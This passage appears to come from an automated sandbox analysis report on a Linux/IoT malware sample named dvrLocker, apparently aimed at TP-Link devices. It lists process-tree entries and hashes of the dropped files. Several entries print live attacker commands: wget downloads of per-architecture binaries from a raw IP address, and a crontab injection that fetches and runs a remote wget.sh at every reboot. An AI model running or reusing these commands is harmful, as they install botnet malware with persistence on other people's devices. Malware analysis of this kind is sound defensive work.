                                                                                                                                                                                                                                              • /tmp/lib/dvrLocker
                                                                                                                                                                                                                                                ./dvrLocker tplink.new
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                PID:1712
                                                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                                                rm -rf arm7
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:1714
                                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                                  wget http://45.202.35.91/arm6 -O -
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:1715
                                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                                    chmod 777 dvrLocker
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                                                                                    PID:1716
                                                                                                                                                                                                                                                  • /tmp/lib/dvrLocker
                                                                                                                                                                                                                                                    ./dvrLocker tplink.new
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                    PID:1717
                                                                                                                                                                                                                                                  • /bin/rm
                                                                                                                                                                                                                                                    rm -rf arm6
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:1719
                                                                                                                                                                                                                                                    • /usr/bin/wget
                                                                                                                                                                                                                                                      wget http://45.202.35.91/x86 -O -
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:1720
                                                                                                                                                                                                                                                      • /bin/chmod
                                                                                                                                                                                                                                                        chmod 777 dvrLocker
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                                                                                                                        PID:1721
                                                                                                                                                                                                                                                      • /tmp/lib/dvrLocker
                                                                                                                                                                                                                                                        ./dvrLocker tplink.new
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                        • Renames itself
                                                                                                                                                                                                                                                        • Changes its process name
                                                                                                                                                                                                                                                        PID:1722
                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                          sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                                                                                                                                          PID:1723
                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                            • Creates/modifies Cron job
                                                                                                                                                                                                                                                            PID:1725
                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:1726
                                                                                                                                                                                                                                                        • /bin/rm
                                                                                                                                                                                                                                                          rm -rf x86
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:1728
                                                                                                                                                                                                                                                          • /bin/rm
                                                                                                                                                                                                                                                            rm -rf /mnt/dvrLocker
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:1729
                                                                                                                                                                                                                                                            • /usr/bin/wget
                                                                                                                                                                                                                                                              wget http://45.202.35.91/mpsl -O -
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:1730
                                                                                                                                                                                                                                                              • /bin/chmod
                                                                                                                                                                                                                                                                chmod 777 dvrLocker
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                PID:1731
                                                                                                                                                                                                                                                              • /mnt/dvrLocker
                                                                                                                                                                                                                                                                ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                PID:1732
                                                                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                                                                rm -rf mpsl
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:1734
                                                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                                                  wget http://45.202.35.91/mips -O -
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • System Network Configuration Discovery
                                                                                                                                                                                                                                                                  PID:1735
                                                                                                                                                                                                                                                                • /bin/chmod
                                                                                                                                                                                                                                                                  chmod 777 dvrLocker
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                  PID:1736
                                                                                                                                                                                                                                                                • /mnt/dvrLocker
                                                                                                                                                                                                                                                                  ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                  PID:1737
                                                                                                                                                                                                                                                                • /bin/rm
                                                                                                                                                                                                                                                                  rm -rf mips
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • System Network Configuration Discovery
                                                                                                                                                                                                                                                                  PID:1739
                                                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                                                  wget http://45.202.35.91/arm -O -
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:1740
                                                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                                                    chmod 777 dvrLocker
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                    PID:1741
                                                                                                                                                                                                                                                                  • /mnt/dvrLocker
                                                                                                                                                                                                                                                                    ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                    PID:1742
                                                                                                                                                                                                                                                                  • /bin/rm
                                                                                                                                                                                                                                                                    rm -rf arm
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:1744
                                                                                                                                                                                                                                                                    • /usr/bin/wget
                                                                                                                                                                                                                                                                      wget http://45.202.35.91/arm5 -O -
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:1745
                                                                                                                                                                                                                                                                      • /bin/chmod
                                                                                                                                                                                                                                                                        chmod 777 dvrLocker
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                        PID:1746
                                                                                                                                                                                                                                                                      • /mnt/dvrLocker
                                                                                                                                                                                                                                                                        ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                        PID:1747
                                                                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                                                                        rm -rf arm5
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:1749
                                                                                                                                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                                                                                                                                          wget http://45.202.35.91/ppc -O -
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:1750
                                                                                                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                                                                                                            chmod 777 dvrLocker
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                            PID:1751
                                                                                                                                                                                                                                                                          • /mnt/dvrLocker
                                                                                                                                                                                                                                                                            ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                            PID:1752
                                                                                                                                                                                                                                                                          • /bin/rm
                                                                                                                                                                                                                                                                            rm -rf ppc
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:1754
                                                                                                                                                                                                                                                                            • /usr/bin/wget
                                                                                                                                                                                                                                                                              wget http://45.202.35.91/arm7 -O -
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:1755
                                                                                                                                                                                                                                                                              • /bin/chmod
                                                                                                                                                                                                                                                                                chmod 777 dvrLocker
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                PID:1756
                                                                                                                                                                                                                                                                              • /mnt/dvrLocker
                                                                                                                                                                                                                                                                                ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                PID:1757
                                                                                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                                                                                rm -rf arm7
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:1759
                                                                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                                                                  wget http://45.202.35.91/arm6 -O -
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:1760
                                                                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                                                                    chmod 777 dvrLocker
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                    PID:1761
                                                                                                                                                                                                                                                                                  • /mnt/dvrLocker
                                                                                                                                                                                                                                                                                    ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                    PID:1762
                                                                                                                                                                                                                                                                                  • /bin/rm
                                                                                                                                                                                                                                                                                    rm -rf arm6
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:1764
                                                                                                                                                                                                                                                                                    • /usr/bin/wget
                                                                                                                                                                                                                                                                                      wget http://45.202.35.91/x86 -O -
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:1765
                                                                                                                                                                                                                                                                                      • /bin/chmod
                                                                                                                                                                                                                                                                                        chmod 777 dvrLocker
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                        PID:1766
                                                                                                                                                                                                                                                                                      • /mnt/dvrLocker
                                                                                                                                                                                                                                                                                        ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                        • Renames itself
                                                                                                                                                                                                                                                                                        • Changes its process name
                                                                                                                                                                                                                                                                                        PID:1767
                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                          sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                          PID:1768
                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                            • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                            PID:1770
                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:1771
                                                                                                                                                                                                                                                                                        • /bin/rm
                                                                                                                                                                                                                                                                                          rm -rf x86
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:1773
                                                                                                                                                                                                                                                                                          • /usr/bin/wget
                                                                                                                                                                                                                                                                                            wget http://45.202.35.91/mpsl -O -
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:1774
                                                                                                                                                                                                                                                                                            • /bin/chmod
                                                                                                                                                                                                                                                                                              chmod 777 dvrLocker
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                              • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                              PID:1775
                                                                                                                                                                                                                                                                                            • /mnt/dvrLocker
                                                                                                                                                                                                                                                                                              ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                              PID:1776
                                                                                                                                                                                                                                                                                            • /bin/rm
                                                                                                                                                                                                                                                                                              rm -rf mpsl
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:1778
                                                                                                                                                                                                                                                                                              • /usr/bin/wget
                                                                                                                                                                                                                                                                                                wget http://45.202.35.91/mips -O -
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                • System Network Configuration Discovery
                                                                                                                                                                                                                                                                                                PID:1779
                                                                                                                                                                                                                                                                                              • /bin/chmod
                                                                                                                                                                                                                                                                                                chmod 777 dvrLocker
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                PID:1780
                                                                                                                                                                                                                                                                                              • /mnt/dvrLocker
                                                                                                                                                                                                                                                                                                ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                PID:1781
                                                                                                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                                                                                                rm -rf mips
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                • System Network Configuration Discovery
                                                                                                                                                                                                                                                                                                PID:1783
                                                                                                                                                                                                                                                                                              • /usr/bin/wget
                                                                                                                                                                                                                                                                                                wget http://45.202.35.91/arm -O -
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:1784
                                                                                                                                                                                                                                                                                                • /bin/chmod
                                                                                                                                                                                                                                                                                                  chmod 777 dvrLocker
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                  PID:1785
                                                                                                                                                                                                                                                                                                • /mnt/dvrLocker
                                                                                                                                                                                                                                                                                                  ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                  PID:1786
                                                                                                                                                                                                                                                                                                • /bin/rm
                                                                                                                                                                                                                                                                                                  rm -rf arm
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:1788
                                                                                                                                                                                                                                                                                                  • /usr/bin/wget
                                                                                                                                                                                                                                                                                                    wget http://45.202.35.91/arm5 -O -
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:1789
                                                                                                                                                                                                                                                                                                    • /bin/chmod
                                                                                                                                                                                                                                                                                                      chmod 777 dvrLocker
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                      PID:1790
                                                                                                                                                                                                                                                                                                    • /mnt/dvrLocker
                                                                                                                                                                                                                                                                                                      ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                      PID:1791
                                                                                                                                                                                                                                                                                                    • /bin/rm
                                                                                                                                                                                                                                                                                                      rm -rf arm5
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:1793
                                                                                                                                                                                                                                                                                                      • /usr/bin/wget
                                                                                                                                                                                                                                                                                                        wget http://45.202.35.91/ppc -O -
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:1794
                                                                                                                                                                                                                                                                                                        • /bin/chmod
                                                                                                                                                                                                                                                                                                          chmod 777 dvrLocker
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                          PID:1795
                                                                                                                                                                                                                                                                                                        • /mnt/dvrLocker
                                                                                                                                                                                                                                                                                                          ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          PID:1796
                                                                                                                                                                                                                                                                                                        • /bin/rm
                                                                                                                                                                                                                                                                                                          rm -rf ppc
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:1798
                                                                                                                                                                                                                                                                                                          • /usr/bin/wget
                                                                                                                                                                                                                                                                                                            wget http://45.202.35.91/arm7 -O -
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:1799
                                                                                                                                                                                                                                                                                                            • /bin/chmod
                                                                                                                                                                                                                                                                                                              chmod 777 dvrLocker
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                              • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                              PID:1800
                                                                                                                                                                                                                                                                                                            • /mnt/dvrLocker
                                                                                                                                                                                                                                                                                                              ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                              PID:1801
                                                                                                                                                                                                                                                                                                            • /bin/rm
                                                                                                                                                                                                                                                                                                              rm -rf arm7
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:1803
                                                                                                                                                                                                                                                                                                              • /usr/bin/wget
                                                                                                                                                                                                                                                                                                                wget http://45.202.35.91/arm6 -O -
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:1804
                                                                                                                                                                                                                                                                                                                • /bin/chmod
                                                                                                                                                                                                                                                                                                                  chmod 777 dvrLocker
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                  PID:1805
                                                                                                                                                                                                                                                                                                                • /mnt/dvrLocker
                                                                                                                                                                                                                                                                                                                  ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                  PID:1806
                                                                                                                                                                                                                                                                                                                • /bin/rm
                                                                                                                                                                                                                                                                                                                  rm -rf arm6
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:1808
                                                                                                                                                                                                                                                                                                                  • /usr/bin/wget
                                                                                                                                                                                                                                                                                                                    wget http://45.202.35.91/x86 -O -
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:1809
                                                                                                                                                                                                                                                                                                                    • /bin/chmod
                                                                                                                                                                                                                                                                                                                      chmod 777 dvrLocker
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                      PID:1810
                                                                                                                                                                                                                                                                                                                    • /mnt/dvrLocker
                                                                                                                                                                                                                                                                                                                      ./dvrLocker tplink.new
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                      • Renames itself
                                                                                                                                                                                                                                                                                                                      • Changes its process name
                                                                                                                                                                                                                                                                                                                      PID:1811
                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                        sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                        PID:1812
                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                          • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                          PID:1814
                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                            PID:1815
                                                                                                                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                                                                                                                        rm -rf x86
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:1817

                                                                                                                                                                                                                                                                                                                      Network

                                                                                                                                                                                                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                      Downloads

                                                                                                                                                                                                                                                                                                                      • /mnt/dvrLocker

                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                        102KB

                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        b1a1559b205459098f1fff627d35c808

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        983f62052375084a8c125353e0c25b7cd19bd369

                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        e4837942ba2584de61bc3a75eba74f4eb0a137a7807130553c42d470c3ec01da

                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                        3bb8ec38b6f3d17f7c7307785f609031b30056da380377bce27bdd48678cbbc81c4b7203ff511794ec6d23644952a82fa471e13149c014a91378f08305e6f60d

                                                                                                                                                                                                                                                                                                                      • /tmp/lib/dvrLocker

                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                        100KB

                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        4ad582d49f505bfab7de84881998685b

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        5f09f4baed114b594729ded91e2c4d263f0e2754

                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        b1e8713db49c15b272baa11e5569ecb4f22fd6064f5aa59ed236d0af58f159a1

                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                        6f35bfb8aca5fd02f6e690fe0628595531dba7463265b1a66ff801c7744690f3317f611ab07e45fdfc28a17a32a891de92b1d026de30bf327aa304395b0905f4

                                                                                                                                                                                                                                                                                                                      • /tmp/lib/dvrLocker

                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                        99KB

                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        559f129d380ad1cfb60792c6b2dc3d32

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        3997a0fc0bd5958783f1751364ec407c5b170adc

                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        fbdbd0392519e49a09e647d8c83046fb15d6dcbb8246ee2f813d10018ba8ac3d

                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                        9f5c39334121b5bde6a282f47b92a841130627f1554ff5089005c371af4c2be5ddc467ad594013fa2fb70a55172b6ba7a6caf50c0cba56564170e482955dc112

                                                                                                                                                                                                                                                                                                                      • /tmp/lib/dvrLocker

                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                        77KB

                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        d09db60a70d5b53b5b53ad39476fd7e8

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        73a75e5e8200f77d857a7256cc0979077e29241d

                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        36b5ad3793ba15e920ea49a43467610bfce85149afc12af166a56bb2011a9165

                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                        ea6156cf3b4480fef088a1fefd8bd1845418606a412a8ab883734e2d297e6169de35456ecd2a5738967ef310066482069262171329624d28184a919cefb21c04

                                                                                                                                                                                                                                                                                                                      • /tmp/lib/dvrLocker

                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                        73KB

                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        f812a7b3a877f717eb6e54b843b41848

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        21ee67d9a9b638621646e1b57fdc0f1eb0bdfa25

                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        9a7e77eff17b6bab95e53989adca31512823cf0c92a342a1b7e2ca445d9bb560

                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                        c236138e33d6d68c2bf4a6f5a4289070089b5bdb4ee153bc9f317e6ed5da00cb3b2117c68f427d0d58b072a7d453c728f5471c257e752b3514a1077b6978a732

                                                                                                                                                                                                                                                                                                                      • /tmp/lib/dvrLocker

                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                        85KB

                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        a016f79253a036ed87dd3ae118767cf2

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        52c10912a82115af3a6dca21993c223a6e7c669d

                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        95f180a725b479687bdb9818991a68be75f0ba901c969cc93746e9996c1d0e50

                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                        516191548c77eca021d07886a811f2fa6fc4be4f0321d5d61c1452cb22606877349a2dc80b03725f6e18fc0ce2524b0040baa6bdbabb40e9342da4401aa6e509

                                                                                                                                                                                                                                                                                                                      • /tmp/lib/dvrLocker

                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                        102KB

                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        78c772ea162b97132c3b76f6c313d326

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        d45f7fc473e9e47185541bff467721386245e8e6

                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        a621a97a08419ab7d35eecb70ae4a9f8849f621101821ca84df3886252ace701

                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                        fde9dc70c6cc6fa518a81cf52fe4bcba66c54afeb8986644dfa700bc1c9766f3d51160ebc7b2eb98c50c99a26b3caea541783b59d1bb208d8746f96121a70a00

                                                                                                                                                                                                                                                                                                                      • /var/spool/cron/crontabs/tmp.jeG6xK

                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                        306B

                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        50615ad6e26d96511b53202a444c5adf

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        5bd5689ac12e87808368ca533ac37de5e87a5572

                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        9d9de6a1533d670579c5ef30d6ec10792da69ea28cf2db0589549668ee5b5e5b

                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                        815b123082890500949a2d90d67e9d202f02a03b112aedb71ca28efcf92d6e28b8ce49034f3111cf8e5eeb3296f381911be3835538f3928ead826af632400741

                                                                                                                                                                                                                                                                                                                      • /var/spool/cron/crontabs/tmp.k7lYiR

                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                        437B

                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        9ed1c2ba0b84e3f738ead207c7035a35

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        493f92e391ccf01c25c53e11a1b793240e79f5f6

                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        04195b12cd1400e8252bead74661e3384632a0bbcea5d8c52f8e0635bdc3919d

                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                        705d28611e2f551e51df9e60b99c189244c4798674b9d114fbf3072a30418c8783bd1a7ee0991439e8b02ec9480d3848840299151bb2b86f328a7c08a08e12bc

                                                                                                                                                                                                                                                                                                                      • /var/spool/cron/crontabs/tmp.kwgToV

                                                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                                                        568B

                                                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                                                        fa18d8ddc32b949074f8e5955ee746e0

                                                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                                                        66bf6733f867d38bf1506f2fcf730444c6eacee2

